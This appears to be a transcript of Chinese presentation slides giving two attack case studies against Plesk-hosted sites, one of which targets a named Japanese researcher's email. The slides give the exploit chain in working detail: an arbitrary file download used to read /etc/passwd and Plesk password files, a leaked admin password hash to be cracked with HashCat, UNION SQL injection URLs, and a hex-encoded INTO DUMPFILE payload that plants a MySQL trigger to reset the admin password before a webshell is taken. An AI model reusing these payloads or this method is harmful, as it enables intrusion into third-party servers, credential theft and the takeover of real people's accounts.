Transcript Plesk独立主机案例
Plesk建站系统安全案例两则 邮件服务器安全专题 (一) 全称Parallels Plesk Panel,SWSOFT开发 主机管理软件,主机控制面板 跨平台以及多种开发平台支持 多国语言支持,快捷安装和安全设置 内置虚拟化支持,K级别用户稳定运行 I. 信息梳理,寻找入手点 II. 同服务器旁注挖掘漏洞 III. 根据Plesk平台结构进行社工 IV. 根据Plesk平台结构特点进入目标站点 V. 登陆Webmail管理员,登陆目标Email • Target: 市川和義 ichikawa@****.or.jp → Email域名 化学技術戦略推進機構研究開発事業部 超ハイブリッド材料プロジェクト コーディネター • Server: • 任意文件下载漏洞: file_down.php?id=42&file=/public/_upload/type017_42_1/file/file_13765504518.pdf • 下载漏洞验证 • 查看程序代码以及数据库密码 • 汇总信息 成功得权站点信息: MySQL:h26376 10225448 FTP: h26376 10225448 h26376:x:10019:10005::/var/www/vhosts/yam*********eien.jp:/bin/false 目标站点: h26567:x:10062:10005::/var/www/vhosts/****.or.jp:/bin/false • 读取目标站点配置 成功得权站点信息: MySQL:h26376 10225448 FTP: h26376 10225448 h26376:x:10019:10005::/var/www/vhosts/yam*********eien.jp:/bin/false 目标站点: h26567:x:10062:10005::/var/www/vhosts/****.or.jp:/bin/false • 跨到目标站点 cat /var/www/vhosts/****.or.jp/pd/d..httpdocs@plesk-stat 网站目录下 /pd/d..httpdocs@plesk-stat 文件就是该虚拟主机用户的密码配置文件 根据 /etc/passwd 文件,虚拟主机最高管理员的信息同样能读到: webadmin:x:10003:10005::/var/www/vhosts/******.technowave.ne.jp:/bin/false cat /var/www/vhosts/******.technowave.ne.jp/pd/d..httpdocs@plesk-stat webadmin:$1$xVARTpe1$L8sesZdDBYwP/g5XYHNRc. • HashCat 暴力破解密码 已经确定密码是8位纯数字,HashCat跑出密码是分分钟的事。 I. 注入点 root 无权 寻突破 II. 挖掘其他漏洞进行代码审计 III. 寻找update语句,写入trigger文件 IV. 触发Trigger修改管理密码并验证 V. 后台获得Webshell并提权 获得 数据库 Root权限注入点: http://xxx.com/xxx/details.php?cd=0+union+select+1,2,3,group_concat(user,0x3 a,password,0x3a,host,0x3c62723e),5,6,7,8,9,0,11,112,13,14,15,16,17,18,19,20+ from+mysql.user MySQL的用户密码和后台密文都无法解密(注意被选中的密码部分) http://xxx.com/xxx/details.php?cd=0+union+select+1,2,3,group_concat(login_id, 0x3a,password,0x3c62723e),5,6,7,8,9,10,11,112,13,14,15,16,17,18,19,20+from +XXXX_nc_members 注入点: 可读所有数据库,管理员密码无解 MySQL权限,load_file()函数可用,无法对Web目录的文件进行读写 PHP的Magic_GPC转义未开启,可以读写一些有权限的目录 思路: 写入trigger,执行update语句,改掉管理员密码,之后进后台拿 webshell http://xxx.com/xxx/include/netcommons_file.php?path=/cabinet/1/.././.././../mod ules/cabinet/admin/downloadnum_add.php 查看源码并配合注入找到一个执行mysql update操作的php: downloadnum_add.php 对应数据表 xxxx_nc_cabinet,用于统计文件下载次数 TYPE=TRIGGERS triggers='CREATE DEFINER=`admin`@`localhost` TRIGGER xx BEFORE UPDATE ON xxxx_nc_cabinet\nFOR EACH ROW \nbegin\nif NEW.file_id=2 then\nupdate xxxx_nc_members set password=md5(\'123321\') where member_id=1;\nelseif NEW.file_id=1 then \nupdate cicc_nc_members set password=\'5b6c27c0f38d58bfb79739a4a7fcb70e\' where member_id=1;\nend if;\nend' sql_modes=0 definers='admin@localhost' http://xxxx/xxxx/details.php?cd=0+union+select+0x545950453d5452494747455253d a74726967676572733d2743524541544520444546494e45523d6061646d696e6040 606c6f63616c686f7374602054524947474552207878204245464f52452055504441 5445204f4e20787878785f6e635f636162696e65745c6e464f52204541434820524f5 7205c6e626567696e5c6e6966204e45572e66696c655f69643d32207468656e5c6e7 5706461746520787878785f6e635f6d656d62657273207365742070617373776f726 43d6d6435285c273132333332315c2729207768657265206d656d6265725f69643d 313b5c6e656c73656966204e45572e66696c655f69643d31207468656e205c6e7570 6461746520787878785f6e635f6d656d62657273207365742070617373776f72643d 5c27356236633237633066333864353862666237393733396134613766636237306 55c27207768657265206d656d6265725f69643d313b5c6e656e642069663b5c6e65 6e6427da73716c5f6d6f6465733d30da646566696e6572733d2761646d696e406c6f 63616c686f737427,'','','','','','','','','','','','','','','','','','',''+into+dumpfile+'/var/lib/mysql/ xxxx_en/xxxx_nc_cabinet.TRG'%23+--+ TYPE=TRIGGERNAME trigger_table=xxxx_nc_cabinet 与TRG文件操作1完全类似 http://xxxx/xxxx/details.php?cd=0+union+select+0x545950453d545249474745524e4 14d45daa747269676765725f7461626c653d787878785f6e635f636162696e6574a,'' ,'','','','','','','','','','','','','','','','','','' into+dumpfile+'/var/lib/mysql/cicc_en/xx.TRN'+-+%23 触发地址: http://xxxx/xxxx/modules/cabinet/admin/downloadnum_add.php?file_id=2 Id为1的管理原密码被update为123321的md5值(返回空白) c8837b23ff8aaa8a2dde915473ce0991